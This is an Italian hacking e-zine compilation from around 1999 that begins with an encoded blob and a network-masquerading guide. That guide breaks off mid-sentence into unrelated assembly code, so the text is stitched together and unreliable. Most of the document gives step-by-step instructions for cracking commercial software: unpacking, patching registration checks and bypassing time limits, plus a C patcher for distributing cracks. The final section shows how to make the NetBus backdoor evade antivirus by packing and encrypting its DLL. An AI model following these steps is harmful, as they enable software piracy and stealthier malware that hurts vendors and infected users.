TnRTUI9AZgAAAEm6kdnnbwnyTSFwtHnpnJHfmKwdk8cU+HLyN13HDD679hdh9YRE8iD6tgy89z7j tye+17/yTlo/yDQIakywpfyl/ZIPsJwvaLwF3Xm7I5ockgh8Xzf9piFw1GYuo5gH47YSeJO2uDd8 D3GvuYREjxZPv8N72SOs7ezq/2fdMO2STaxJ8eXsZfr2RzFXFdLGOMHJxjcQv5VWCiRm0pif6oME xpCUOnrQarnXtWnA159zq3oF1Icu7QczX1qrhqoyh2RngCkRveFt5jGdftWrW+8RX4qwdgbbm2kX 06l8ZpF33cySnWPvmFYIiFjGTixaefel95LJAXWMUfmYT/RYP2m4Ykf/8xeZjnuujVBKj+oe/oZa zPQhzis/WpZ/wajvtwBS7VAOiwtuVkUYIyeQ38UqHB4AAAAAAAAQAAAAAE1MAAAAAwAAAABNMAAA AAAAAAAAgQIBUks= ================================FINE Talia qui ============================= . - . #---[ Ip-Masquerading e gateway ]------------------------------------+Domino_Gr+------# Ip-Masquerading e Gateway xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxx IP-MASQERADING E GATEWAY xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx By Domino_Gr Molte volte sia su IRC che sul Web e' importante mantenere una certa anonimita'...ma che significa sta bella parola?? Per esempio, dai bei lamerz che vogliono nukkare floddare drogare un utente ai malatoni (eheh chi non lo e'...) che vogliono per forza avere un account su un bel sito porno con una carta di credito Skazzata alla grande....ai grandi hacker che non vogliono far avere al Sysadmin il loro stupendo IP...praticamente e' un desiderio di tutti:) E cosi' si sente parlare di wingate, gateway e proxy server....ma cosa sono??? Innanzitutto l'IpMasquerading e' una funzione di rete dei sistemi *nix che permette di dare accesso ad Internet ai computer 'host' di una LAN (o collegati via modem:) anche se non hanno registrato un proprio IP! Si nota subito che per un azienda il vantaggio economico e' notevole.....e quel simpa del Sysadmin fa salti di gioia per non far spendere ulteriori abbonamenti ad Internet. Queste funzioni sono state implementate nel Kernel 2.2.x in fase finale ma i piu vecchiotti noteranno che gia c'erano since 1.3.x. Si...vabbe....ma secondo quale principio mi nascondo?Eccolo...... Allora mettiamo un host collegato tramite questo sistema: SLIP/PPP +------------+ +-------------+ to provider | Linux | SLIP/PPP | Anybox | <---------- modem1| |modem2 ----------- modem | | 111.222.333.444 | | 192.168.1.100 | | +------------+ +-------------+ Quindi..mettiamo che il PC LINUX , con la funzione IPM installata, abbia accesso al suo provider con IP 111.222.333.444 tramite SLIP o PPP...allora il PC host deve, per entrare in Internet, 'passare' dal suo GATEWAY cioe' il PC con linux effettivamente collegato ad Inet....tutto chiaro???No..direte...cos' e' 192.168.1.100???Moment plz... Allora ricapitolo il fattaccio: *Dico al PC host " ue' vedi che il pc linux e' il tuo gateway...devi passare da lui..." e lui ci passa... *Linux (GATEWAY) accetta il pacchetto di Host e sbatte negli headers il suo Ip 111.222.333.444 NB per il ritorno di pacchetti e' +o- la stessa cosa...Linux e' sempre il Gateway...OKZ??? Ovviamente per piu' pc connessi e' la stessa cosa.........ma ne parlo dopo. L' importante ora e' vedere come si configura una rete per usare questa funzione...mettiamo che state configurando il kernellazzo, dovete dire YES alle seguenti (presi da: http://www.atlantic2000.com/ip-masq/kernel.html :) * Prompt for development and/or incomplete code/drivers CONFIG_EXPERIMENTAL - this will allow you to select experimental IP Masquerade code compiled into the kernel * Enable loadable module support CONFIG_MODULES - allows you to load ipmasq modules such as ip_masq_ftp.o * Networking support CONFIG_NET * Network firewalls CONFIG_FIREWALL * TCP/IP networking CONFIG_INET * IP: forwarding/gatewaying CONFIG_IP_FORWARD * IP: firewalling CONFIG_IP_FIREWALL * IP: masquerading CONFIG_IP_MASQUERADE * IP: ipportfw masq support CONFIG_IP_MASQUERADE_IPPORTFW * IP: ICMP masquerading CONFIG_IP_MASQUERADE_ICMP * IP: always defragment CONFIG_IP_ALWAYS_DEFRAG * Dummy net driver support CONFIG_DUMMY Dopo aver compilato (make dep ; make clean ; make zImage ) passate ai moduli: make modules; make modules_install Aggiungere ora in /etc/rc.d/rc.local la seguente per far caricare i moduli in / lib/modules/2.2.x/ipv4/ . . /sbin/depmod -a /sbin/modprobe ip_masq_ftp /sbin/modprobe ip_masq_raudio /sbin/modprobe ip_masq_irc . . . Bene...ora la parte piu delicata...dobbiamo far capire ai PC il giochetto...eheheheh come si faq? Allora...l' IANA (Internet Assigned Number Authority) , cioe' l'ente che gestisce gli indirizzi internetz , ha stabilito che ci sono dei particolari indirizzi riservati, cioe' (come 127.0.0.1 cioe' il computer stesso) IP che non possono essere assegnati...per gli indirizzi di classe C il blocco di IP address per le reti private e' : 192.168.0.0 - 192.168.255.255 il che vale a dire che, nel particolare sistema: +----------+ | | Ethernet | abox |:::::: | |2 :192.168.1.x +----------+ : : +----------+ +----------+ : 1| Linux | | | ::::| masq-gate|:::::::::// Internet | bbox |:::::: | | | |3 : +----------+ +----------+ : : +----------+ : | | : | cbox |:::::: | |4 +----------+ dove a-b-cbox sono i PC host e Linux e' il GATEWAY nominero' i PC 122.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 dove si DEVE assegnare 192.168.1.1 al pc GATEWAY....facile no? NB 192.168.1.0 e 192.168.1.255 si chiamano NETWORK e BROADCAST e sono privati...eheh Ora che ho deciso i nomi da dare ...che faccio.......???.........li faccio incontrare! Quindi devo far capire a ogni pc host tutta sta manfrina ...."Domino"..direte.."ma non hai fatto capire a noi...vuoi far capire ai PC???" .......abbiate fede in Domino_Granata! Per far capire come si realizza il tutto vediamo come si procede in Micro$ofz WIN9x ( solo perche' rende piu' l'idea....) Pannello di (dis)controllo--->Reti --->Indirizzo IP E scribacchiate 192.168.1.x ( x<>1..anzi 1 ; Questi sono i semplicissimi puntatori alle strutture che vi indicato durante la ProcInf PROCESS_INFORMATION ; spiegazione del CreateProcess .code start: call CreateProcess, offset ExeName, NULL, NULL, FALSE, DEBUG_PROCESS, NORMAL_PRIORITY_CLASS, NULL, NULL, offset SecAttr, offset ProcInf ; Ecco a voi il CreateProcess, se vi riporta 1 allora è tutto okkei test eax, eax ; Il CreateProcess riporta 0? jz Problem ; Se si vuol dire che ci sono dei problemi, mostra la messagebox con le soluzioni loop: call FindWindow, offset class, NULL ; Ecco il loop che vi spiegherò dopo test eax, eax jz loop mov handle, eax call GetWindowThreadProcessId, handle, offset ProcessID call OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword ptr[ProcessID] mov ProcessHandle, eax mov eax, 0040258Ch ; Muovi in eax l'RVA della locazione alla quale andremo a leggere call ReadProcessMemory, [ProcessHandle], eax, offset ReadBuffer, 2, NULL ; Vai a leggere mov esi, offset OrigBytes mov edi, offset ReadBuffer mov ecx, 2 repz cmpsb jnz Different ; Confronta i byte e se sono uguali procedi, altrimenti salta mov eax, 0040258Ch call WriteProcessMemory, [ProcessHandle], eax, offset PatchBytes, 2, NULL ; Ottimo, sono uguali, allora cambiali push MB_ICONINFORMATION or MB_OK push offset CaptionSucc push offset MessageSucc push NULL call MessageBoxA ; Mostra il box che ci dice che tutto è andato bene call ExitProcess ; Ed esci Different: push MB_ICONSTOP or MB_OK push offset CaptionDiff push offset MessageDiff push NULL call MessageBoxA call ExitProcess Problem: push MB_ICONSTOP or MB_OK push offset CaptionProb push offset MessageProb push NULL call MessageBoxA call ExitProcess end start Ora state attenti che vi riassumo tutto quanto: per prima cosa il file viene avviato con CreateProcess visto che ci rida il controllo all'istante, se la funzione riporta 1 è andato tutto bene, se riporta 0 avete sbagliato qualcosa, quindi viene eseguito un loop di FindWindow, perchè? Perchè in questo modo facciamo un check continuo fino all'apparizione della nostra finestra e così avremo il tempo di patchare i byte prima che il programma decida di non essere registrato, appena FindWindow riporta un valore diverso da 0 chiamamo GetWindowThreadId per ottenere l'ID del thread della finestra, se anche questa va a buon fine otteniamo un ID che possiamo usare con OpenProcess per aprire il processo. Aperto il processo andiamo a fare un confronto tra i byte che "dovremmo" trovare e quelli che effettivamente troviamo, se sono uguali procediamo col cambiarli e con l'avvisare l'utente che tutto è andato bene, altrimenti facciamo comparire il box che ci informa di una diversità tra l'exe che abbiamo e quello che dovremmo avere. I check per vedere se tutto procede bene sono necessari solamente dopo il CreateProcess ed al check tra i byte, non serve inserirne altri visto che le possibilità di fallimento del WriteProcessMemory sono alquanto remote. Nell'allegato troverete tutto il necessario alla compilazione del programma, ovviamente non troverete il tasm che potrete scaricare al link che trovate all'inizio. Forse la prossima volta creeremo un trainer, vi garantisco comunque che fare un trainer è molto più semplice di patchare un programma come questo in quanto non avete la necessità di cambiare i byte prima di determinati eventi, prendete come esempio il numero di vite di un gioco, lo potete cambiare quando volete, mia dopo certi eventi giusto? Bhè ci siamo divertiti abbastanza, abbiamo imparato come patchare in memoria un programma......non è mica una cosa da poco :)))) Quequero Note finali I ringraziamenti sono d'obbligo stavolta, ma prima saluto tutti quelli della UIC...Ciauzzzzzz....ed ora quelli che si meritano un sentito ringraziamento: Kill3xx: Grazie tantissimo che hai una soluzione per ogni problema, se non ci fossi stato tu starei ancora provando chissà cosa per patchare il programma prima del check :) Xoanon: Mia musa ispiratrice che mi ha fatto venire un paio di ideuzze non male per il programma Neural_Noise: Grazie anche al mio cyberfratellino che è sempre gentile e che mi voleva far creare thread su thread per patchare sto programma :))) Ciauz a tuttiiiiiiiiiiiiiiiiiiiiiiii Disclaimer Vorrei ricordare che il software va comprato e non rubato, dovete registrare il vostro prodotto dopo il periodo di valutazione. Non mi ritengo responsabile per eventuali danni causati al vostro computer determinati dall'uso improprio di questo tutorial. Questo documento è stato scritto per invogliare il consumatore a registrare legalmente i propri programmi, e non a fargli fare uso dei tantissimi file crack presenti in rete, infatti tale documento aiuta a comprendere lo sforzo immane che ogni singolo programmatore ha dovuto portare avanti per fornire ai rispettivi consumatori i migliori prodotti possibili. Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio Assembly. Capitoooooooo????? Bhè credo di si ;)))) #---[ApiSpy32 Manual Unpacking]--------------------------------------+QueQuero+-------# ApiSpy32 Manual Unpacking Laddove il ProcDump fallisce arriva Que :) (Manual unpacking e cracking) 28-11-1999 by "Quequero" UIC's Home PagePublished by Quequero Checkov disse: le donne senza gli uomini appassiscono, Bellissimo il tutorial di questo Ququero...:)scherzo, vi presento un tute che dovrebbe piacervi assai :)...ciauzzzgli uomini senza le donne diventano matti!...Bhè aveva ragione :) UIC's formHome page: http://quequero.cjb.net E-mail: UIC@mail.usa.com or UIC@bigfoot.com On irc: #crack-it, #UIC UIC's form Difficoltà ( )NewBies (X)Intermedio ( )Avanzato ( )Master Siete pronti per unpackare un programma senza il procdump? Allora viaaaaa!!!!!. Laddove il ProcDump fallisce arriva Que :) (Manual unpacking e cracking) Written by Quequero Introduzione Unpackeremo manualmente e crackeremo un meraviglioso ed utilissimo tool Tools usati SoftIce qualunque versione ADump ProcDump Hex-Workshop 3.01 o qualunque altro Hex-Editor Dei foglietti di carta e la calcolatrice di wintonno...una penna...Si, il sangue va bene lo stesso :) URL o FTP del programma http://quequero.cjb.net sezione tools Notizie sul programma Il pargolo è un piccolo ApiSpy, cioè uno di quei programmini che ti dico le api che usano gli altri programmini :) ottimo anche come monitor durante il cracking Essay Salve a tutti raga, scaricate ed installate questo magnifico programmino....avviatelo e vedrete un brutto nag con scritto UNREGISTERED....non ci piace, poi viene una messagebox che ci avvisa che il programma non è registrato e poi troviamo anche un pulsante "register".....come se non bastasse non possiamo salvare nel log più di venti chiamate......e che kazzo, non ci potevano mette pure qualche funzione che ti faceva esplodere il pc se avviavi il pc troppe volte? :)...hehe non disperate, siamo qui per porre rimedio a questi problemi, il programma è il paziente malato e noi siamo i chirurghi con manie da jack lo squaratore......Apis32.....TREMAAAAAAA :)!!!!!!! Basta cazzate, iniziamo......Il programma è packato e questo lo si nota soprattutto perchè se settiamo un breakpoint quello non dura neanche un microsecondo...se poi disassembliamo il programma, bhè ancora peggio. Aprite quindi procdump e facendo finta che non esiste il GetTyp provate tutte le combinazioni dei packer...vedrete che il file viene unpackato da "petite < 1.3", bene, avviate il file.....dho! Non parte....mmmm sta cosa non ci piace....io che sono un tipo che non pensa ma agisce (un po' come una capra) ho detto: "Okkei ti unpacko a mano" ricordandomi solo ora che era possibile far funzionare il file del procdump solo dopo alcune modifiche...oki, andiamo avanti. Aprite adump da un prompt di dos e premete "R", dovreste avere qualcosa di simile: :r Internal variables: ------------------- STARTOFFS: 0x8423F000 <---Questo ci interessa parecchio ENDOFFS: 0x84333240 LIMIT: 0xF4240 (1000000 ) CUROFFS: 0x8423F000 MAPFN: C:\WINDOWS\TEMP\ADump.log MAPFSIZE: 0xF4240 ANFILTER: A..Z,a..z,0..9 : (mi raccomando non chiudete il programma...il caro adump non fa altro che mappare in memoria un file di un mega e 0x8423F000 è l'offset di inizio di questo file...ci servirà dopo per dumpare i dati dell'apispy...aprite l'hex workshop ed andate all'entrypoint del programma (D400h) sostituite il primo byte con CCh (è l'opcode di Int3), salvate il tutte ed uscite.....aprite sice (ctrl+d) mettete un breakpoint sull'interrupt 3 (bpint 3) e chiudete sice, avviate adesso apisspy e appena sice poppa scrivete: e eip 66 in questo modo rimettete il byte originale al suo posto visto che prima l'avevamo cambiato in CC, fatto ciò avrete davanti due push ed una chiamata: :0041A000 CC int 03 <----Questo l'abbiamo settato prima :0041A001 9C pushfd :0041A002 60 pushad :0041A003 E8CA000000 call 0041A0D2 <----Questa è la chiamata che dobbiamo esaminare :0041A008 0300 add eax, dword ptr [eax] entrate nella call con F8 e date vita ad un estenuante step finchè non arriverete qua :004055C0 55 push ebp <----Questo è l'entry point originale, ma l'indirizzo dell'entry lo trovate in eax (1A000h) :004055C1 8BEC mov ebp, esp :004055C3 6AFF push FFFFFFFF :004055C5 6810804000 push 00408010 :004055CA 6818544000 push 00405418 :004055CF 64A100000000 mov eax, dword ptr fs:[00000000] :004055D5 50 push eax adesso potremmo iniziare il dump visto che siamo arrivati all'entrypoint originale cioè quello del programma non packato...ma come faccio a dirlo? In genere i packer arrivano ad un jmp eax e quello significa stanno per arrivare all'entry originale, in questo caso però non possiamo basarci su questo "trick" però possiamo notare due cose: 1) Scorrendo il listato in sice vediamo molte api che sicuramente non servono al packer 2) Guardando la barra verde in basso a sice scopriamo che siamo passati dalla sezione .madmat alla .text capito ora? La sezione che ci interessa è sempre la .text o la .CODE, a questo punto iniziamo il dumping, per prima cosa dobbiamo controllare che tutte le pagine da dumpare sono in memoria e dobbiamo anche sapere quanti byte dobbiamo dumpare......arrivati qui scrivete in sice: task ed avremo la lista di tutte le applicazioni attive, la nostra è ovviamente api32, quindi scrivete: map32 apis32 ed avrete una lista completa di tutte le sezioni: Owner Obj Name Obj# Address Size Apis32 .text 0001 015F:00401000 Offset: 0000F000 Apis32 .idata 0002 0167:00410000 Offset: 00001000 Apis32 .rsrc 0003 0167:00411000 Offset: 00009000 Apis32 .madmat 0004 015F:0041A000 Offset: 0000D268 per prima cosa calcoliamoci il numero di bytes da dumpare, quindi fate cosi: Rva ultima sez - imagesize +1000 in sice diventa: ? 41A000-400000+1000 = 1B000 1000 è la lunghezza del PE, quindi il nostro file UNPACKATO sarà lungo 1B000h bytes, adesso vediamo quante pagine di memoria occupa tutto il programma e sopratutto vediamo quante pagine non sono in memoria, aprite la calcolatrice di windows e, sapendo che ogni pagina di memoria occupa 4095bytes cioè FFFh scriviamo: lunghezza programma / FFF 1B000/FFF = 1B....il programma occupa 27 pagine di memoria, quindi vediamo se sono tutte presenti, per questo useremo la funzione "page" partendo dall'indirizzo 400000: page 400000 L 1b bene, bene, se la pagina è presente vedrete qualcosa di simile: 00400000 023a9000 P A U R Private se invece è assente vedrete: 00400000 NP 023a9000 scorrete tutta la lista e scoprirete che molte pagine non sono presenti, la prima è 400000, segnatevi tutte quelle assenti su un foglietto e poi scrivete: pagein 400000 pagein 418000 pageun 419000 pagein 41A000 ripeterete tutto questo per tutte quante le pagine assenti....fatto ciò avremo il programma bello e pronto da dumpare, per farlo dobbiamo trasferire tutti i suoi byte dalla memoria al file mappatoci da adump, in questo modo: m address1 L address2 che per noi diventa: m 400000 L 1B000 8423F000 <---Questo è l'offset che ho evidenziato poco sopra bene, adesso andiamo in adump (se l'avete chiuso so' cavoli vostri, dovete riniziare :) alla riga di comando scrivete: w c:\unpacked.exe 1B000 8423F000 che significa: scrivi nel file "unpacked.exe" 1B000 bytes che trovi all'offset 8423F000......adesso abbiamo il file unpackato ma non lo runnate che non funziona, per prima cosa dobbiamo rimettere a posto l'entry originale, quindi aprite procdump, pe editor, unpacked.exe....bhè l'entry sta a posto è quello giusto cioè 1A000, ma dobbiamo comunque riallineare il file, quindi clickate su sections e editate ogni section ponendo la Psize uguale alla Vsize e l'Offset uguale all'RVA, se in pratica avete questo: Vsize: 00001000 RVA: 00001000 Psize: 00000940 Offset: 00002567 dovete trasformarlo in questo: Vsize: 00001000 RVA: 00001000 Psize: 00001000 Offset: 00001000 se avete fatto bene il lavoro per tutte le sezioni ed avete premuto F5 per aggiornare il desktop vedrete allora riapparire l'icona originale ed il file funzionerà a meraviglia (le sue dimensioni devo essere: 110.592 bytes) La prima parte è terminata, adesso possiamo crackare il programma...se avessi tempo vi farei trovare il seriale ma non posso, vado di fretta... Per prima cosa premete il pulsante register ed inserite un nick ed un numero....mettete un bp su getdlgitemtexta (bpx getdlgitemtexta) e poi premete invio....appena entrati premte F11 e non fermatevi lì, steppate per 16 volte con F12 ed arriverete qui: :0040174A push 00409038 :0040174F push 0040D1E0 :00401754 Call lstrcatA :0040175A push 00409328 :0040175F push 0040D1E0 :00401764 Call lstrcatA :0040176A call 004046A0 :0040176F A374CE4000 mov [40xxxx], eax <-----Perdonatemi le xxx ma non me lo ricordo quale era l'indirizzo :00401774 EB01 jmp 00401777 dopo la chiamata a 4046A0 viene mosso nel buffer il valore riportato da eax (il solito leim 1 se è esatto e 0 se non lo è), a questo punto proviamo ad alterare il valore di eax e mettiamoci 1, subito dopo c'è un piccolo trick SMC che decide se saltare alla beggar off oppure no, eccolo: :00401774 EB01 jmp 00401777 :00401777 B80AC07402 mov eax, 0274000A :0040177B EB2C jmp 004017A9 ora ve lo spiego: quel jump vorrebbe saltare all'indirizzo 401777 che come vedete non è rappresentato ma ovviamente c'è :), il programma allora salta effettivamente a quell'indirizzo scindendo l'opcode B80AC07402 in: B8 0AC0 7402 solo che B8 dal significato nullo viene saltato e 0AC0 e 7402 diventano: :00401774 EB01 jmp 00401777 :00401776 B8 BYTE B8 <---Questo byte viene ignorato dal jump :00401777 0AC0 or al, al <---Al = 0 :00401779 7402 je 0040177D <---Beggar Off :0040177B EB2C jmp 004017A9 noi non dobbiamo far altro che cambiare non quel byte ma l'sitruzione sopra, cioè, prendete "mov [40xxxx], eax" e cambiatelo in "mov eax, 1".....quindi aprite l'exe ed andate nel programma a cercare questi bytes: A374CE4000EB01, ce ne sono due nel programma e cambiateli in: B801000000EB01 (lo stesso identico trick lo ritrovate a 401F39, cambiatelo sennò il programma non si cracka)...Avremmo potuto cambiare direttamente i byte del trick ma non mi andava :).....e non rompete che il tute lo sto a fare io :)....uscite da sice e.....track...programm registrato..riavviatelo e riavrete (ovviamente) la scrittina registered....chiudete il tutto e mettete un break su RegOpenKeyExA...clickate sul programma e steppate cpn F5 finchè non vedrete apparire il loghetto conl'ape ancora senza scritte....appena arrivate a questo punto cancellate i bp, premete F11 ed arrivate qui: :00404815 03EA add ebp, edx :00404817 41 inc ecx :00404818 4E dec esi :00404819 75DA jne 004047F5 :0040481B 33C0 xor eax, eax :0040481D 5F pop edi :0040481E 85ED test ebp, ebp :00404820 5E pop esi :00404821 5D pop ebp :00404822 0F94C0 setz al <---Azzera AL se il flag Z è attivato dovete solo cambiare quel setz al in "mov al, 1 nop"..ecco l'opcode: B00190..sostituitelo al nel file ed il programma sarò finalmente crackato. ciauzzzzzzzzzzzzzz.........Ah, non dimenticatevi dopo il crack di clickare su register, inserire il vostro nick ed un qualunque numero più lungo di 16 cifre Quequero Note finali Grazie tantissime a Neural_noise che mi ha insegnato molto sul manual unpacking, kill3xx e tutt quanti gli altri...scusate ma ho una fretta boia.......ciauzzzzzzzzzzzzz #---[Elektroson gear crack]------------------------------------------+KILLER+---------# Elektroson gear crack Crack di un time-limit con codice di sblocco ricavato dal numero di serie della demo. Questo tutorial è scritto a puro scopo didattico; non mi assumo nessuna responsabilità per qualsiasi utilizzo dannoso e illegale dei suoi contenuti. Strumenti: 1) Gear 4.2 (oppure gear replicator 1.2; opp gear audio 1.0) (target) 2) Numega softice 3.24 3) Editor esadecimale Vi siete procurati i tools necessari? come target uno dei tre programmi su citati va' benissimo tanto è sempre la stessa ed indentica libreria da crackkare (il crack è universale per tutti e tre!!! 3 in uno Che bello! :) Basta infatti sostituire la che è in tutti e tre i preogrammi con quella crackkata che li crackki automaticamente tutti e tre! Programmatori cretini! neanche un po' di fantasia avete? Ok, bando alle ciancie, crackkiamo sti kazzo di programmi. Innanitutto, apriamo il prg scelto; premiamo il pulsante purchase, riempiamo i vari campi con caratteri a casaccio; ma prima di dare l'ok apriamo sice (crtl+d) e ci scriviamo bpx getwindowtexta ed usciamo da sice. Ora possiamo dare l'ok, sice si popperà nella call dell'api getwindowtexta e premiamo f11 e abbiamo: Steppiamo e usciamo dalle call fino ad arrivare al jne che sice ci indicherà con jnz. Bene tutto quello che dobbiamo fare ora, è forzare la non esecuzione del salto; quindi io ho cambiato il jne 10002867 in jne 10002835 che in esadecimale è 7500. Apriamo hex editor e cerchiamo ora il salto e sostituiamo il 7532 con 7500. Tadaaaaa testiamo il tutto e walà ogni sn inserito funzionaaaa. quindi fate pure evalutare la copia tanto ad ogni avvio lo potrete registrare e usare!!!. Un arrivedereci da kller. BY KILLER #---[Patcher]--------------------------------------------------------+BlackDruiD+-----# Creazione di un patcher Cosa fare una volta trovati gli offset dei byte da patchare di un eseguibile? Ci sono almeno un paio di possibilità: 1. andare a sostituire 'a mano' i byte utilizzando un hex-editor 2. creare un patcher. entrambe le soluzioni sono valide ma cosa succede se disinstallate il prog? Perdete tutte le modifiche ovviamente, a meno che non conserviate una copia dell'exe patchato(non è una bella idea, soprattutto se la dimensione del file è consistente).E se poi volete distribuire il vostro crack? Direi che la soluzione migliore è quella di creare un patcher molto semplice che ha due vantaggi: 1.occupa un ridotto numero di kbyte 2. è riutilizzabile per tutti gli exe che volete patchare. ora vi spiegherò come realizzare un patcher in c; N.B. il patcher che ho realizzato è molto ma molto semplice, quindi se ritenete che offenda la vostra intelligenza smettete di leggere ora. Prima di tutto dovete annotarvi i byte da modificare ed i relativi offset. Prendete nota del nome del file da patchare (es: progdelcazzo.exe). #include #include #define FileName "progdelcazzo.exe" //inserisci qui il nome del file da patchare #define Offset 0x9D32 //inserisci l'offset dei byte da modificare int main(void) { FILE *in; clrscr(); printf("Progdelcazzo 2.06\n\n"); //stampa a video la versione del programma patchato printf("Craked by BlackDruiD\n\n"); if ((in = fopen(FileName, "r+b")) == NULL){ fprintf(stderr, "Cannot open input file.\n"); return 1; } fseek(in,Offset,SEEK_SET); //si sposta sull'offset dei byte da modificare //offset è il valore che avete impostato all'inizio del file //(#define ecc..) fputc(0xF,in); //scrittura dei nuovi byte fputc(0x95,in); //in questo caso scriveremo: 0xF,0x95 a partire //dalla posizione 0x9D32 fclose(in); printf("Program Cracked\n\n"); printf("BlackDruiD rules\n\n"); //questo lasciatelo!!!! return 0; } molto semplice no? ora sta a voi arricchirlo un po', inserendo un controllo sulla dimensione dell'eseguibile(per verificare che il file che state patchando sia effettivamente quello giusto) o inserendo scritte colorate e lampeggianti ecc. Buon lavoro BlackDruiD #---[Reversing NetBus 2_0b Pro]--------------------------------------+QueQuero+-------# Reversing NetBus 2_0b Pro Reversing NetBus 2.0b Pro Reversing NetBus 2.0b Pro (trasformiamo un Non-trojan in un Trojan) 05-11-1999by "Quequero" UIC's Home PagePublished by Quequero Ecco a voi un tutorial sul vero e puro reversing, godetevelo :) UIC's formHome page se presente: http://quequero.cjb.net E-mail: UIC@mail.usa.com or UIC@bigfoot.com #Crack-it #UIC UIC's form Difficoltà ( )NewBies (X)Intermedio (X)Avanzato ( )Master Avete mai sentito parlare del netbus 2.0? Bhè io credo di si e probabilmente avrete anche letto la mia guida all'uso del programma.....Bhè visto che tutti e due sappiamo di cosa stiamo parlando andiamo a ricostruire il programma Reversing NetBus 2.0b Pro (trasformiamo un Non-trojan in un Trojan) Written by Quequero Introduzione Non avete mai praticato il reversing nel vero senso della parola? Bhè è giunto il momento di cominciare! Tools usati SoftIce 4.0 (ma va bene qualunque versione) W32DASM Hex-Workshop Borland Resource Workshop Stone PE Crypter Petite v2.0 ProcDump 1.5 ASPack v 1.08.03 o 1.08.04 Un antivirus (io ho usato l'AVP) La calcolatrice di winzoz URL o FTP del programma Avrete bisogno di NetBus 2.0b Pro anche se noi reverseremo solo il server (cmq se l'avete completo è meglio) Notizie sul programma NetBus! Chi era costui? Bhè qualcuno lo chiama trojan...qualcuno lo adora, altri lo odiano...io...lo reverso...già! Il programma viene visto dagli antivirus come una backdoor, se chiedete in giro vi diranno che è un trojan.....Macchèèè tutte cretinate, il programma non può vantarsi di quel nome...un trojan è invisibile e silenzioso, il netbus è molto visibile e soprattutto molto poco flessibile heheheheeh...raga è giunta l'ora di trasformare questo pargoletto in un vero e proprio trojan con in controcoglioni....vabbè non esageriamo :) cmq lo miglioreremo di molto! Essay Prendete il server del netbus (vi consiglio di pescare il seriale leggendo il mio tutorial che si trova alla uic prima di iniziare), il suo nome è NBSvr.exe, avviatelo senza timore e come per magia vi apparirà davanti agli occhi una graziosa finestra corredata di alcuni pulsantini....ma come?!?!? Non doveva essere un trojan? Bhè in effetti dovrebbe proprio essere un trojan....Ma non credo che troveremo mai uno talmente leim (xOANONÓÔÒ :) da configurarsi sotto i vostri occhi un potenziale trojan...Bhè come tutti sapete un "cavallino" modello dovrebbe essere invisibile e soprattutto molto molto flessibile, e sono proprio queste le doti che conferiremo al nostro pargolo....Già, invisibilità e flessibilità..Hihihihihihi...Bene è con sommo piacere che dopo un periodo ancora non terminato di impegni estremamente pesanti che vi presento questo tute...Quindi...c'mon babe let's reverse :) Avviate il NetBus e noterete subito che viene creata una dll di nome NBHelp.dll....Mmmmm sta cosa non ci piace per niente e poi se prendete un qualunque antivirus vedrete che la rileva come pericolosa e la cancella...quindi primo passo: packare la dll, crittarla e cambiarne il nome hihihihihihi come sono perfido :). Per prima cosa dobbiamo rendere questa dll invisibile, ma come? Aprite un prompt di dos e scrivete: c:\> petite -9 NBHelp.dll e così avrete la dll compressa ed un backup, poi sempre dallo stesso prompt scrivere c:\> spec NBHelp.dll in questo modo la dll sarà anche crittata, adesso aprite l'antivirus e controllatela....Okkei sembra essere invisibile, mi raccomando non packate la dll con l'ASPack che ci sono dei problemi, ve lo dico perchè già c'ho provato :). Ma adesso cosa ci facciamo con questa dll? Semplice, dobbiamo fare in modo che il programma estragga la NOSTRA dll e non la sua, per prima cosa dobbiamo vedere quanto è grande. Quindi aprite sice e mettete un breakpoint su writefile (bpx writefile) dovete tener presente che il programma crea il file con CreateFileA e poi lo riempie con WriteFile, createfile non ci interessa più di tanto e quindi lo scartiamo però dobbiamo anche trovare la locazione dalla quale il programma attinge byte da piazzare nel file, quindi aprite la vostra guida della API e cercate WriteFile, se non ce l'avete ci penso io: BOOL WriteFile( HANDLE hFile, // handle del file nel quale scrivere LPCVOID lpBuffer, // puntatore ai bytes da scrivere nel file DWORD nNumberOfBytesToWrite, // numero di bytes da scrivere (la dimensione del file finale) LPDWORD lpNumberOfBytesWritten, // puntatore al numero di bytes scritti LPOVERLAPPED lpOverlapped // puntatore alla struttura per I/O sovrapposti ); ricordatevi che i dati vengono pushati nello stack in ordine diverso Okkei, adesso potete avviare NBSvr.exe....ecco sice che poppa e dovreste avere davanti qualcosa di simile a questo: :0040848C 8D442404 lea eax, dword ptr [esp+04] <-----Esp+04 punta alla stringa che a sua volta punta alla lunghezza della dll :))) :00408490 50 push eax <-----Salva Eax che adesso punta alla lunghezza della dll cioè FA00h--->64000 bytes :00408491 57 push edi :00408492 56 push esi <-----Esi punta ai dati da scrivere nel file, cioè i bytes della nostra dll :00408493 53 push ebx :00408494 E817E4FFFF Call KERNEL32!WriteFile :00408499 85C0 test eax, eax :0040849B 7507 jne 004084A4 guardate eax con "d eax" alla riga di comando.....e troverete il numero di bytes da scrivere nel file cioè FA00h che diventa 64000 in esadecimale...eccovi la grandezza della dll, 64kilobyte, per verificare clickate sul file ed andate su proprietà...bene coincidono, ma tutto ciò non ci basta, adesso riavviate NBSvr.exe e dopo la chiamata a writefile scrivete "d esi", bene, questi sono i bytes che andranno nella dll e che dobbiamo cambiare con i nostri, ma dobbiamo sapere in quale sezione ci troviamo e per farlo dovremo clickare in sice col destro su "push esi" e scegliere "Un-Assemble" oppure scrivere "u 00408492"....Guardiamo la barra verde in basso in sice e c'è scritto: NBSVR!.rsrc, quindi i byte si trovano nella sezione .rsrc....Adesso abbiamo bisogno di conoscere l'offset al quale si trovano questi byte per poterli poi ritrovare nell'exe....se scrivete "d esi" vedrete che il primo byte si trova al RVA ---> 004834BC, per trovarne l'offset dobbiamo applicare una semplice formuletta (tenetevela stretta che vi servirà spesso :): (RVA istruzione - RVA sezione) + Raw Offset sezione = Raw Offset istruzione....Allora applichiamola, aprite il ProcDump, clickate su PE Editor e poi selezionate il file del server...scorrete la lista e col destro clickate su 